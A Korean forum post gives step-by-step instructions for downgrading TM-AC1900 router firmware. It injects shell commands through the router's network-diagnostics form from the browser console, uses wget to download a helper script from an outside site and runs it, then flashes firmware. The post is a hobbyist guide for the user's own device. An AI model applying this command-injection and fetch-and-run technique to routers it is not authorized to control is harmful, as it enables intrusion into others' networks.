뽐뿌

컴퓨터포럼 입니다.

컴퓨터와 관련된 것을 공유하는 공간입니다. 불법 소프트웨어 사용에 대한 정보 공유는 금지합니다.
3199버전 펌에서 다운그레이드 안되던 TM-AC1900 다운그레이드 81
분류: 정보
이름: 냠냠냠냠냠쩝쩝


등록일: 2018-04-18 22:37
조회수: 23560 / 추천수: 6




일단 원문 링크는 여기입니다


모든과정은 인터넷이 연결된 상태에서 해야됩니다

먼저 아수스 정펌올리셨던분들이라면 많이 보셨을 FW_RT_AC68U_30043763626.trx 와 TM-AC1900_3.0.0.4_376_1703.trx 를 files12345와 같이 쉬운이름의 zip파일로 압축해서 비어있는 usb에넣고 usb를 공유기에 껴줍니다 (usb는 fat32포맷으로 되어있어야 합니다)

(FW_RT_AC68U_30043763626.trx 파일은 맨아래에 설명에도 나와있듯 AC68U로 바로 펌업하는게 아닌 1703으로 다운그레이드하는 작업이기에 필요 없을거같긴한데 제경우에는 그냥 같이 압축했습니다)

그 후 192.168.29.1로 접속하여 공유기 설정창으로 들어가서 네트워크 도구로 갑니다

네트워크 도구창에서 빈곳에 우클릭하면 검사가 뜨는데 눌러주면 소스수정 페이지가 뜰겁니다(크롬기준)

소스수정 페이지에서 Console 탭으로 갑니다

Console창에서 명령어가 제대로 실행되는지 확인하기 위해

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}넣고 엔터 친다음

공유기 네트워크 도구창에 있는 네트워크 진단 실행을 눌러줍니다 그러면 hello world 라고 출력이 뜬다면 명령어가 실행이 되는겁니다

(모든 명령어는 실행하면 네트워크 진단 실행 버튼이 잠시 비활성화되는데 다시 활성화 된 다음에 다음 명령어를 실행하셔야합니다)

그러면 이제 validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}넣고 엔터 후 네트워크 진단 실행클릭

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}넣고 엔터 후 네트워크 진단 실행클릭

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}넣고 엔터 후 네트워크 진단 실행클릭

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}넣고 엔터 후 네트워크 진단 실행클릭

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}넣고 엔터 후 네트워크 진단 실행클릭

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}넣고 엔터 후 네트워크 진단 실행클릭

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}넣고 엔터 후 네트워크 진단 실행클릭

만약 명령어가 실패한다면 처음 명령어부터 다시 해보시길 바랍니다

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('find /tmp/mnt -name files12345.zip').replace(/%/g,'..');return true;}

넣고 엔터 후 네트워크 진단 실행클릭하시면 usb에 넣었던 zip파일의 경로가 나올겁니다

(원문에는 /tmp/mnt/USB/files12345.zip로 나오지만 사용자마다 다르게 나올수도 있습니다 제 경우에는 /tmp/mnt/sda1/files12345.zip 였습니다)

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('unzip -o /tmp/mnt/USB/files12345.zip').replace(/%/g,'..');return true;}넣고 엔터 후 네트워크 진단 실행클릭

(unzip -o /tmp/mnt/USB/files12345.zip 부분은 예시이니 방금전 확인한 경로로 수정하신후 명령어를 넣으시면 됩니다)

validForm = function(){document.form.SystemCmd.value = "ping\nmtd-write2 TM-AC1900_3.0.0.4_376_1703.trx linux";return true;} 넣고 엔터 후 네트워크 진단 실행클릭 하시면 CRC OK였던가 뜰겁니다

그상태서 잠시 기달리시고 NVRAM 초기화를 합니다 (공유기가 꺼져있는 상태에서 WPS버튼을 계속누른상태로 전원온하면 한 20초후에 전원불빛이 깜빡입니다 그러면 누르고 있던 WPS버튼을 떼주시면 됩니다)

초기화가 다 되고 공유기가 다시 부팅되고 192.168.29.1 접속하시면 1703으로 다운 그레이드 된 모습을 보실수 있을겁니다 그 후에는 정펌올리는 방법 검색해서 찾아보시고 올리시면됩니다

제가 전문지식이 있는사람이 아닌지라 구글링해서 찾은 방법을 구글번역기로 보며 진행했습니다

그렇기에 과정이 잘못되어 벽돌이 되거나 하는 일이 생겼을경우 조치를 취해드리지 못합니다 이 점 양해부탁드립니다

원문과약간 다른점이 있는데 원문은다운그레이드없이바로 AC68U 펌웨어를 씌우는 방법인데 이 경우에는 공유기에서 추출해둔 cfe파일이 있을경우에만 가능합니다 3199로 롤백된 분들은 당연히 cfe를 추출해두셨을리가없을테니...다운그레이드로방법을변경했습니다(원문에도 나와있긴합니다)

제가 검은동네에 썼던글 그대로 가져왔습니다
 
-추가 내용-

현재 원문에 수정된 사항으로 제가 기존에 썼던 FW_RT_AC68U_30043763626.trx 파일과 TM-AC1900_3.0.0.4_376_1703.trx 파일을 압축해서 usb에 넣는 방법이 아닌 TM-AC1900_3.0.0.4_376_1703.trx 파일만 usb에 넣은 상태에서

기존의 경로 확인을 위한 validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('find /tmp/mnt -name files12345.zip').replace(/%/g,'..');return true;}는

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('find /tmp/mnt -name TM-AC1900_3.0.0.4_376_1703.trx').replace(/%/g,'..');return true;}으로 변경

그 다음 명령어인 validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('unzip -o /tmp/mnt/USB/files12345.zip').replace(/%/g,'..');return true;}는 생략해도 됩니다

그리고 제일 마지막 명령어를 validForm = function(){document.form.SystemCmd.value = "ping\nmtd-write2 /tmp/mnt/USB/TM-AC1900_3.0.0.4_376_1703.trx linux";return true;}로 해도 된다고 합니다 (tmp/mnt/USB/TM-AC1900_3.0.0.4_376_1703.trx 경로는 예시이니 본인이 확인한 경로로 수정해주세요)


본 게시글은 작성자에 의해 2018-04-20 12:38:31에 최종 수정되었습니다. (4회)


[ 주소복사 http://www.ppomppu.co.kr/zboard/view.php?id=computer&no=505863 ]

추천 6

다른 의견 0


상대에게 상처를 줄 수 있는 댓글은 삼가주세요. (이미지 넣을 땐 미리 보기를 해주세요.)
직접적인 욕설 및 인격모독성 발언을 할 경우 제재가 될 수 있습니다.
- 미리보기
이모티콘  익명요구    다른의견   
△ 이전글▽ 다음글 -목록보기